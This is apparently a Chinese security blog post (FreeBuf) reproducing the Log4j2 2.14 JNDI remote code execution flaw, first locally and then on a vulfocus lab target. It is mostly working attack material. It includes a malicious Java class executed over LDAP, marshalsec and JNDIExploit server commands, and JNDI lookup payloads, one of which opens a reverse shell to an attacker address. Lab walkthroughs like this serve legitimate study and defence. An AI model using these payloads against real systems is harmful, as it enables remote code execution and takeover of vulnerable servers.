freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

log4j2 2.14 反序列化rce复现
2021-12-13 16:56:45
所属地 北京

log4j介绍

Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

log4j2反序列化漏洞介绍

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞12月9号进行了漏洞预警,然后整个安全圈就过年了

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。如:Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

由于log4j2应用范围太广,几乎所有java编写的服务器都受影响。

本地漏洞复现

1.源代码

a.测试类

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Test {

public static final Logger logger = LogManager.getLogger(Test.class);

public static void main(String[] args) {
logger.error( "${jndi:ldap://192.168.52.180:1389/Exploit}");
}

}

b.恶意类

public class Exploit {
public Exploit(){
try{
// 要执行的命令
String[] commands = {"calc"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}

public static void main(String[] argv) {
Exploit e = new Exploit();
}
}

c.依赖

<dependencies>

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>


</dependencies>

2.复现过程

1.通过python开启http服务

python2 -m SimpleHTTPServer 80

1639385717_61b70a7544d6b46c65457.png!small?1639385717478

2.通过marshalsec开启ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#Exploit" 

1639385721_61b70a7925d2d25753fc7.png!small?1639385721386

3.运行测试类,激发漏洞

1639385725_61b70a7d963f241c4bca4.png!small?1639385725856

靶场实战

1.靶场介绍

实战使用的是vulfocus提供的Log4j2远程命令执行靶场

参考资料 https://fofapro.github.io/vulfocus/#/

本地搭建的靶场描述不完成,可以参考vulfocus提供的靶场

1639385763_61b70aa3c1c9a1fe85018.png!small?1639385764095

启动本地靶场

1639385735_61b70a8749969d93174b4.png!small?1639385735417

2.启动ldap服务器

这里使用的工具是feihong大神的jndiExploit

github:https://github.com/feihong-cs/JNDIExploit.git

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.52.180  -p 8111

1639385740_61b70a8c25b04bd54ba3c.png!small?1639385740319

3.测试漏洞

payload=${jndi:ldap://192.168.52.180:1389/TomcatBypass/TomcatEcho}

1639385749_61b70a9568faf72682a2c.png!small?1639385749757

4.反弹shell

payload=${jndi:ldap://192.168.52.180:1389/TomcatBypass/ReverseShell/192.168.52.129/4444}

flag在tmp目录下

1639385753_61b70a99dba42ac0c41df.png!small?1639385754219

1639385757_61b70a9d16a5918f406c2.png!small?1639385757487

# log4j2
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录